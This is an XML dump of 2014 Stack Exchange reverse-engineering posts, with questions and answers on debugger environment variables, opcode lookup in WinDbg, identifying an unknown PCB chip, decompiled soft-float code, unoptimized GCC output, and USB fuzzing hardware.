  <row Id="4521" PostTypeId="2" ParentId="4520" CreationDate="2014-06-04T11:17:29.490" Score="1" Body="&lt;p&gt;Child Inherits Parents Environment    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   cmd /k set myenvironment=someenvironment &amp;amp; &amp;lt;path&amp;gt;ollydbg.exe  &amp;lt;path&amp;gt; debuggee.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-06-04T11:17:29.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4522" PostTypeId="1" CreationDate="2014-06-04T13:34:07.957" Score="2" ViewCount="2013" Body="&lt;p&gt;I have two bytes '&lt;code&gt;\x74\x06&lt;/code&gt;' and I want a list of all instructions that start with this opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What tools would you use for this? I am trying to do it with Immunity Debugger but so far no luck. The only solution I found is based on Example 3 from corelancoder's &lt;a href=&quot;https://www.corelan.be/index.php/2010/01/26/starting-to-write-immunity-debugger-pycommands-my-cheatsheet/&quot; rel=&quot;nofollow&quot;&gt;cheatsheet&lt;/a&gt;. However this requires that there is a binary currently loaded in Immunity and that it contains an instruction starting with that opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I quickly get a mapping (partial) opcode -&gt; instruction?&lt;/p&gt;&#xA;" OwnerUserId="4776" LastEditorUserId="53" LastEditDate="2014-06-04T14:45:37.560" LastActivityDate="2014-06-05T12:50:48.840" Title="Find the instruction matching an opcode" Tags="|tools|immunity-debugger|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4523" PostTypeId="2" ParentId="4522" CreationDate="2014-06-04T13:48:04.943" Score="1" Body="&lt;p&gt;If it's x86, and I'm quite sure it is, you should check &lt;a href=&quot;http://ref.x86asm.net/coder32.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; link and &lt;a href=&quot;http://x86.renejeschke.de/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; link. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2014-06-04T13:48:04.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4524" PostTypeId="2" ParentId="4520" CreationDate="2014-06-04T13:59:10.523" Score="1" Body="&lt;p&gt;As an alternative to blabb's answer, if you'd like to set the environment variable via a GUI, you can use &lt;a href=&quot;http://www.codeproject.com/Articles/32131/Dynamically-Add-Edit-Environment-Variables-of-Remo&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/32131/Dynamically-Add-Edit-Environment-Variables-of-Remo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-06-04T13:59:10.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4526" PostTypeId="1" AcceptedAnswerId="4603" CreationDate="2014-06-04T16:43:28.923" Score="11" ViewCount="5443" Body="&lt;p&gt;I'm working on reverse engineering a PCB (no documentation by manufacturer). I've identified all the other chips on this board but this one refuses to give up any google-able info. Are there any resources that can help me identify what kind of chip this is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mnUlS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UG05u.png&quot; title=&quot;Hosted by imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      ______________&#xA;D1 --|O    ATH 330  |--?&#xA;D2 --|              |--Vss&#xA;Vss--|     50?L  8  |--D4&#xA;GND--|     3U49758  |--D5&#xA;      --------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;D1, D2, D3 and D4 pins are connected to a 5x2 grid of test points which I've soldered a header into. Vss is connected to the Vss of a PIC32MX695F512H microcontroller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if I can provide additional info to assist this process.&lt;/p&gt;&#xA;" OwnerUserId="4781" LastActivityDate="2016-09-20T19:33:43.497" Title="Identifying an unknown chip on a PCB" Tags="|hardware|embedded|pcb|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4527" PostTypeId="2" ParentId="4526" CreationDate="2014-06-04T17:12:29.030" Score="2" Body="&lt;p&gt;You can try this:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.alldatasheet.com/&quot; rel=&quot;nofollow&quot;&gt;All Data Sheet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(sorry this won't allow me to post more than 2 links, you can refer wikia page for other sites like All Data Sheet)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Identifying and deciphering the part number Deciphering a chip's part&#xA;  number is a very ambitious process and most of the time, typing the&#xA;  whole part number in a search engine gets you nowhere.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;General Format In general computer chips or integrated circuits follow&#xA;  the following format&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line 1: Manufacturer's Name&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line 2: Part number &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line 3: date code, and&#xA;  other coded information Less often lines 2 and 3 are reversed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Quoted From&#xA;&lt;a href=&quot;http://how-to.wikia.com/wiki/How_to_identify_computer_chips_or_integrated_circuits_on_circuit_boards&quot; rel=&quot;nofollow&quot;&gt;Wikia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching via part number is your best bet, if you still don't find it I will help you find it. good luck.&lt;/p&gt;&#xA;" OwnerUserId="4780" LastActivityDate="2014-06-04T17:12:29.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4528" PostTypeId="1" CreationDate="2014-06-04T18:29:29.227" Score="0" ViewCount="1447" Body="&lt;p&gt;I have some decompiled code using Hex Rays. I can see that there is a memory copy operation but I am lost in what the code is trying to do after that with calls such as &lt;code&gt;_floatsidf&lt;/code&gt;. What is this code trying to do ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __fastcall v6495(const void *a1, size_t a2)&#xA;{&#xA;  const void *v2; // r6@1&#xA;  size_t v3; // r7@1&#xA;  int v4; // r0@1&#xA;  int v5; // r7@1&#xA;  __int64 v6; // r8@1&#xA;  int v7; // r1@1&#xA;  int v8; // r0@1&#xA;  __int64 v9; // r0@1&#xA;  __int64 v10; // r0@1&#xA;  __int64 v11; // ST00_8@1&#xA;  int v12; // r1@1&#xA;  int v13; // r0@1&#xA;  __int64 v14; // r0@1&#xA;  int v15; // r0@1&#xA;  int v16; // r1@1&#xA;  __int64 v17; // r0@1&#xA;&#xA;  v2 = a1;&#xA;  v3 = a2;&#xA;  gettimeofday(&amp;amp;v824, 0);&#xA;  pthread_mutex_lock((pthread_mutex_t *)(v217 + 110720));&#xA;  v4 = v217;&#xA;  *(_DWORD *)(v217 + 73728) = -2028273664;&#xA;  memcpy((void *)(v4 + 73732), v2, v3);&#xA;  pthread_cond_signal((pthread_cond_t *)(v217 + 110976));&#xA;  pthread_cond_wait((pthread_cond_t *)(v217 + 111232), (pthread_mutex_t *)(v217 + 110720));&#xA;  pthread_mutex_unlock((pthread_mutex_t *)(v217 + 110720));&#xA;  v5 = v217;&#xA;  gettimeofday(&amp;amp;v825, 0);&#xA;  LODWORD(v6) = _floatsidf(v825.tv_sec);&#xA;  HIDWORD(v6) = v7;&#xA;  v8 = _floatsidf(v825.tv_usec);&#xA;  LODWORD(v9) = _divdf3(v8);&#xA;  LODWORD(v10) = _aeabi_dadd(v6, v9);&#xA;  v11 = v10;&#xA;  LODWORD(v6) = _floatsidf(v824.tv_sec);&#xA;  HIDWORD(v6) = v12;&#xA;  v13 = _floatsidf(v824.tv_usec);&#xA;  LODWORD(v14) = _divdf3(v13);&#xA;  v15 = _aeabi_dadd(v6, v14);&#xA;  LODWORD(v17) = _subdf3(v11, HIDWORD(v11), v15, v16);&#xA;  unk_408D81C8 = v17;&#xA;  return v5 + 73732;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the answer of &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/3473/blabb&quot;&gt;blabb&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;v217&lt;/code&gt; is initialised in a previous function where &lt;code&gt;v6520&lt;/code&gt; is in the &lt;code&gt;.bss&lt;/code&gt; segment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int v3480()&#xA;{&#xA;  __int32 v0; // r0@1&#xA;&#xA;  v0 = time(0);&#xA;  srand48(v0);&#xA;  v877 = &amp;amp;v3688;&#xA;  v1277 = &amp;amp;v7299;&#xA;  v1634 = &amp;amp;v5690;&#xA;  v2042 = &amp;amp;v7024;&#xA;  v873 = &amp;amp;v3688;&#xA;  v872 = &amp;amp;unk_40ABAFB5;&#xA;  v1274 = &amp;amp;v7299;&#xA;  v485 = &amp;amp;unk_40ABAFF5;&#xA;  v1631 = &amp;amp;v5690;&#xA;  v1629 = &amp;amp;unk_40ABAFD9;&#xA;  v2037 = &amp;amp;v7024;&#xA;  v2038 = &amp;amp;unk_40ABAFE9;&#xA;  v5661 = -1;&#xA;  v2325 = -1;&#xA;  v1259 = -1;&#xA;  v4048 = -1;&#xA;  v5509 = &amp;amp;v5497;&#xA;  v3845 = &amp;amp;unk_40ABAEEC;&#xA;  v3522 = &amp;amp;v4191;&#xA;  v7253 = &amp;amp;unk_40ABAEE4;&#xA;  v2081 = &amp;amp;v3009;&#xA;  v5828 = &amp;amp;unk_40ABAEDC;&#xA;  v7014 = &amp;amp;v2061;&#xA;  v3636 = &amp;amp;unk_40ABAED4;&#xA;  v221 = &amp;amp;v6523;&#xA;  v218 = &amp;amp;v6524;&#xA;  v219 = &amp;amp;v6525;&#xA;  v217 = &amp;amp;v6520;&#xA;  v1455 = &amp;amp;v6523;&#xA;  unk_40ABAEF4 = &amp;amp;v6524;&#xA;  v7297 = &amp;amp;dword_409581D0;&#xA;  v5530 = &amp;amp;dword_409581D0;&#xA;  if ( dword_409581D0 )&#xA;  {&#xA;    v6935();&#xA;  }&#xA;  else&#xA;  {&#xA;    v4335();&#xA;    dword_409581D0 = 1;&#xA;  }&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4499" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-06-11T00:14:38.650" Title="Is this just junk?" Tags="|decompilation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4529" PostTypeId="2" ParentId="4522" CreationDate="2014-06-04T19:20:31.627" Score="0" Body="&lt;p&gt;&lt;strong&gt;windbg&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;0:000&gt; .for ( r $t0 = 0; @$t0 &amp;lt; 0x8 ;r  $t0 = @$t0 +1 ) {eb eip 74 @$t0; u @eip l1 ; !opcodemap }&lt;/strong&gt;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calc!WinMain+0x5:&#xA;01001f56 7400            je      calc!WinMain+0x7 (01001f58)&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;je  7400        01001f58&#xA;calc!WinMain+0x5:&#xA;01001f56 7401            je      calc!WinMain+0x8 (01001f59)&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;je  7401        01001f59&#xA;calc!WinMain+0x5:&#xA;01001f56 7402            je      calc!WinMain+0x9 (01001f5a)&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;je  7402        01001f5a&#xA;calc!WinMain+0x5:&#xA;01001f56 7403            je      calc!WinMain+0xa (01001f5b)&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;je  7403        01001f5b&#xA;calc!WinMain+0x5:&#xA;01001f56 7404            je      calc!WinMain+0xb (01001f5c)&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;je  7404        01001f5c&#xA;calc!WinMain+0x5:&#xA;01001f56 7405            je      calc!WinMain+0xc (01001f5d)&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;je  7405        01001f5d&#xA;calc!WinMain+0x5:&#xA;01001f56 7406            je      calc!WinMain+0xd (01001f5e)&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;je  7406        01001f5e&#xA;calc!WinMain+0x5:&#xA;01001f56 7407            je      calc!WinMain+0xe (01001f5f)&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;je  7407        01001f5f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;trying another variation notice how disassemble with one constant byte one variable byte automatically pulls other bytes as needed &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; .for ( r $t0 = 0; @$t0 &amp;lt; 0x8 ;r  $t0 = @$t0 +1 ) {eb eip ff @$t0; u @eip l1 ; !opcodemap }&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calc!WinMain+0x5:&#xA;01001f56 ff00            inc     dword ptr [eax]&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;inc ff00        dword ptr [eax]    &#xA;calc!WinMain+0x5:&#xA;01001f56 ff01            inc     dword ptr [ecx]&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;inc ff01        dword ptr [ecx]    &#xA;calc!WinMain+0x5:&#xA;01001f56 ff02            inc     dword ptr [edx]&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;inc ff02        dword ptr [edx]    &#xA;calc!WinMain+0x5:&#xA;01001f56 ff03            inc     dword ptr [ebx]&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;inc ff03        dword ptr [ebx]    &#xA;calc!WinMain+0x5:&#xA;01001f56 ff0406          inc     dword ptr [esi+eax]&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;inc ff0406      dword ptr [esi+eax]&#xA;calc!WinMain+0x5:&#xA;01001f56 ff0506010081    inc     dword ptr ds:[81000106h]&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;inc ff0506010081        dword pt&#xA;calc!WinMain+0x5:&#xA;01001f56 ff06            inc     dword ptr [esi]&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;inc ff06        dword ptr [esi]    &#xA;calc!WinMain+0x5:&#xA;01001f56 ff07            inc     dword ptr [edi]&#xA;&#xA;Instr   OpCode  Dest    Source&#xA;inc ff07        dword ptr [edi]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-06-04T19:20:31.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4530" PostTypeId="2" ParentId="4528" CreationDate="2014-06-04T19:23:32.930" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://opensource.apple.com/source/clang/clang-503.0.38/src/projects/compiler-rt/lib/floatsidf.c&quot; rel=&quot;nofollow&quot;&gt;http://opensource.apple.com/source/clang/clang-503.0.38/src/projects/compiler-rt/lib/floatsidf.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;//===-- lib/floatsidf.c - integer -&amp;gt; double-precision conversion --*- C -*-===//&#xA;//&#xA;//                     The LLVM Compiler Infrastructure&#xA;//&#xA;// This file is dual licensed under the MIT and the University of Illinois Open&#xA;// Source Licenses. See LICENSE.TXT for details.&#xA;//&#xA;//===----------------------------------------------------------------------===//&#xA;//&#xA;// This file implements integer to double-precision conversion for the&#xA;// compiler-rt library in the IEEE-754 default round-to-nearest, ties-to-even&#xA;// mode.&#xA;//&#xA;//===----------------------------------------------------------------------===//&#xA;&#xA;#define DOUBLE_PRECISION&#xA;#include &quot;fp_lib.h&quot;&#xA;&#xA;#include &quot;int_lib.h&quot;&#xA;&#xA;ARM_EABI_FNALIAS(i2d, floatsidf)&#xA;&#xA;fp_t __floatsidf(int a) {&#xA;&#xA;    const int aWidth = sizeof a * CHAR_BIT;&#xA;&#xA;    // Handle zero as a special case to protect clz&#xA;    if (a == 0)&#xA;        return fromRep(0);&#xA;&#xA;    // All other cases begin by extracting the sign and absolute value of a&#xA;    rep_t sign = 0;&#xA;    if (a &amp;lt; 0) {&#xA;        sign = signBit;&#xA;        a = -a;&#xA;    }&#xA;&#xA;    // Exponent of (fp_t)a is the width of abs(a).&#xA;    const int exponent = (aWidth - 1) - __builtin_clz(a);&#xA;    rep_t result;&#xA;&#xA;    // Shift a into the significand field and clear the implicit bit.  Extra&#xA;    // cast to unsigned int is necessary to get the correct behavior for&#xA;    // the input INT_MIN.&#xA;    const int shift = significandBits - exponent;&#xA;    result = (rep_t)(unsigned int)a &amp;lt;&amp;lt; shift ^ implicitBit;&#xA;&#xA;    // Insert the exponent&#xA;    result += (rep_t)(exponent + exponentBias) &amp;lt;&amp;lt; significandBits;&#xA;    // Insert the sign bit and return&#xA;    return fromRep(result | sign);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-06-04T19:23:32.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4531" PostTypeId="2" ParentId="4528" CreationDate="2014-06-04T19:39:41.403" Score="1" Body="&lt;p&gt;You may need to find where &lt;code&gt;v217&lt;/code&gt;  is initialized &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a fleeting glance, it appears to be junk as all the function does seem to be returning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;v5 + const&lt;/code&gt; where &lt;code&gt;v5 = v217&lt;/code&gt; which doesn't seem to be initialized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, Google first hit returns source code for &lt;code&gt;_floatsidf&lt;/code&gt; and LLVM &lt;code&gt;intodpfloat()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="53" LastEditDate="2014-06-04T21:59:01.337" LastActivityDate="2014-06-04T21:59:01.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4532" PostTypeId="1" AcceptedAnswerId="4535" CreationDate="2014-06-04T23:28:52.360" Score="8" ViewCount="902" Body="&lt;p&gt;So, say that I have the following code, which gives three examples of what I believe to be unnecessary copies of values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    QWORD PTR [rbp-0x18],rdi&#xA;mov    rdx,QWORD PTR [rbp-0x18]&#xA;lea    rax,[rbp-0x10]&#xA;mov    rsi,rdx&#xA;mov    rdi,rax&#xA;call   4003e0 &amp;lt;strcpy@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is the value in &lt;code&gt;rdi&lt;/code&gt; copied to memory at &lt;code&gt;rbp-0x18&lt;/code&gt;, then copied back to &lt;code&gt;rdx&lt;/code&gt; ?  It's then copied to &lt;code&gt;rsi&lt;/code&gt; (2 extra copies).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, why the &lt;code&gt;lea + mov&lt;/code&gt; for &lt;code&gt;rbp-0x10&lt;/code&gt; to &lt;code&gt;rax&lt;/code&gt;, then to &lt;code&gt;rdi&lt;/code&gt; ?  Is there any reason the following code wasn't generated ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    rsi,rdi&#xA;lea    rdi,[rbp-0x10]&#xA;call   4003e0 &amp;lt;strcpy@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(My guess is that this is just an artifact of the code generation in the compiler, but I'm making sure there's not some rules of x86-64 that I'm missing.)&lt;/p&gt;&#xA;" OwnerUserId="1695" LastEditorUserId="53" LastEditDate="2014-06-05T06:31:27.070" LastActivityDate="2014-06-05T06:31:27.070" Title="Why are values passed through useless copies?" Tags="|linux|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4533" PostTypeId="2" ParentId="4526" CreationDate="2014-06-05T00:31:19.643" Score="0" Body="&lt;p&gt;Are there any other similar chips on board? If not, it &lt;em&gt;could&lt;/em&gt; be an SPI or even i2c flash of some kind, maybe used for, perhaps, a MAC address.  The test points would then be used to write the hypothetical MAC address; but you would then expect to see at least some of those same lines connected to the rest of the circuit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you could try is to lookup the datasheets of other common 8-pin flash chips and see if any of the pinouts line up with what you have observed.&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2014-06-05T00:31:19.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4535" PostTypeId="2" ParentId="4532" CreationDate="2014-06-05T06:02:36.943" Score="9" Body="&lt;p&gt;There are no artifacts and surely the compiler, and I mean &lt;code&gt;GCC&lt;/code&gt;, can generate a better and faster code if told so. The first version of your generated code is non optimized. Why ? Either because &lt;code&gt;-O0&lt;/code&gt; flag (0 level optimizations ==&gt; No optimizations) was specified, or because no optimization flags were specified and by default &lt;code&gt;GCC&lt;/code&gt; turns optimizations off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below you'll find two versions of the same code. Version 1 with &lt;code&gt;-O0&lt;/code&gt; flag. Version 2 with &lt;code&gt;-O2&lt;/code&gt; flag. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Version 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 55                      push   rbp&#xA; 48 89 e5                mov    rbp,rsp&#xA; 48 81 ec 10 04 00 00    sub    rsp,0x410&#xA; 89 bd fc fb ff ff       mov    DWORD PTR [rbp-0x404],edi&#xA; 48 89 b5 f0 fb ff ff    mov    QWORD PTR [rbp-0x410],rsi&#xA; 48 8b 85 f0 fb ff ff    mov    rax,QWORD PTR [rbp-0x410]&#xA; 48 83 c0 08             add    rax,0x8&#xA; 48 8b 10                mov    rdx,QWORD PTR [rax]&#xA; 48 8d 85 00 fc ff ff    lea    rax,[rbp-0x400]&#xA; 48 89 d6                mov    rsi,rdx&#xA; 48 89 c7                mov    rdi,rax&#xA; e8 40 fe ff ff          call   400400 &amp;lt;strcpy@plt&amp;gt;&#xA; 48 8d 85 00 fc ff ff    lea    rax,[rbp-0x400]&#xA; 48 89 c7                mov    rdi,rax&#xA; e8 41 fe ff ff          call   400410 &amp;lt;puts@plt&amp;gt;&#xA; b8 00 00 00 00          mov    eax,0x0&#xA; c9                      leave&#xA; c3                      ret&#xA; 66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]&#xA; 00 00 00  &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Version 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 48 81 ec 08 04 00 00    sub    rsp,0x408&#xA; 48 8b 76 08             mov    rsi,QWORD PTR [rsi+0x8]&#xA; 48 89 e7                mov    rdi,rsp&#xA; e8 ad ff ff ff          call   400400 &amp;lt;strcpy@plt&amp;gt;&#xA; 48 89 e7                mov    rdi,rsp&#xA; e8 b5 ff ff ff          call   400410 &amp;lt;puts@plt&amp;gt;&#xA; 31 c0                   xor    eax,eax&#xA; 48 81 c4 08 04 00 00    add    rsp,0x408&#xA; c3                      ret&#xA; 0f 1f 00                nop    DWORD PTR [rax]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're interested in the optimizations performed by &lt;code&gt;GCC&lt;/code&gt; you should read &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html&quot;&gt;this&lt;/a&gt; link, and &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc-4.6.1/gnat_ugn_unw/Optimization-Levels.html&quot;&gt;this&lt;/a&gt; one too. You can also check the &lt;a href=&quot;ftp://ftp.uvsq.fr/pub/gcc/summit/&quot;&gt;&lt;code&gt;GCC&lt;/code&gt; summit publications&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-06-05T06:08:43.440" LastActivityDate="2014-06-05T06:08:43.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4536" PostTypeId="1" AcceptedAnswerId="4541" CreationDate="2014-06-05T07:56:14.460" Score="9" ViewCount="1287" Body="&lt;p&gt;I would like to analyze (and fuzz) a USB device and I need a bit of guidance to setup a full platform to discuss with the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I would like to know what are the most used hardware cards to emulate and perform fuzzing on USB devices. I've heard about the &lt;a href=&quot;http://goodfet.sourceforge.net/hardware/facedancer11/&quot;&gt;FaceDancer11 card&lt;/a&gt; with a Python API (see a few  blog posts [&lt;a href=&quot;http://travisgoodspeed.blogspot.fr/2012/07/emulating-usb-devices-with-python.html&quot;&gt;1&lt;/a&gt;,&lt;a href=&quot;http://travisgoodspeed.blogspot.fr/2012/10/emulating-usb-dfu-to-capture-firmware.html&quot;&gt;2&lt;/a&gt;] from &lt;a href=&quot;http://travisgoodspeed.blogspot.fr/&quot;&gt;Travis Goodspeed&lt;/a&gt;). But, are they others ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if someone could come with a list of the needed hardware devices and, maybe, some existing Python libraries that are useful to have and, what development effort is needed to setup such a platform, it would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-06-05T08:03:20.267" LastActivityDate="2014-06-05T13:44:11.287" Title="Setting an USB Emulation and Fuzzing Platform?" Tags="|hardware|fuzzing|usb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4537" PostTypeId="1" CreationDate="2014-06-05T09:06:12.453" Score="0" ViewCount="409" Body="&lt;p&gt;In a project, I cannot find the names of native functions in the .so libraries.&#xA;That is, a native function must be called something like &lt;code&gt;Java_com_package_ClassName_functionName()&lt;/code&gt;. I do find &lt;em&gt;functionName&lt;/em&gt; in the .so libraries, but either without the &lt;code&gt;Java_com_package_ClassName_&lt;/code&gt; prefix, or wrapped into a mangled C++ name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Does Qt (Necessitas) use a special naming convention?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If yes, how it is done?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If no, what is going on?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4398" LastActivityDate="2014-06-05T11:41:22.303" Title="native function naming convention in Qt for Android" Tags="|android|qt|dalvik|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4538" PostTypeId="5" CreationDate="2014-06-05T09:09:49.713" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-06-05T09:09:49.713" LastActivityDate="2014-06-05T09:09:49.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4539" PostTypeId="4" CreationDate="2014-06-05T09:09:49.713" Score="0" Body="The virtual machine (VM) in Google's Android operating system. Unlike Java VMs, which are stack machines, the Dalvik VM is register-based." OwnerUserId="4398" LastEditorUserId="53" LastEditDate="2014-06-05T12:45:54.807" LastActivityDate="2014-06-05T12:45:54.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4541" PostTypeId="2" ParentId="4536" CreationDate="2014-06-05T09:47:31.807" Score="2" Body="&lt;p&gt;Apart from the &lt;code&gt;FaceDancer&lt;/code&gt; from Goodspeed, I have never been able to find anything similar. I personally use the &lt;code&gt;FaceDancer[11 &amp;amp; 21]&lt;/code&gt; and now I built my own emulator (not that easy if your electronics skills are rusty). But depending on the kind of analysis you want to perform you could find different other types of hardware, or software for that matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sniffing I suppose &lt;a href=&quot;http://openvizsla.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;OpenVizsla&lt;/code&gt;&lt;/a&gt; is a great tool (Free &amp;amp; Open). Thought it is not available for sale yet, you can implement it yourself on an &lt;code&gt;FPGA&lt;/code&gt; &amp;amp; try it. You also have the &lt;a href=&quot;http://www.adafruit.com/products/708&quot; rel=&quot;nofollow&quot;&gt;Beagle&lt;/a&gt; from Total Phase which is quite expensive thought.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2014-06-05T09:47:31.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
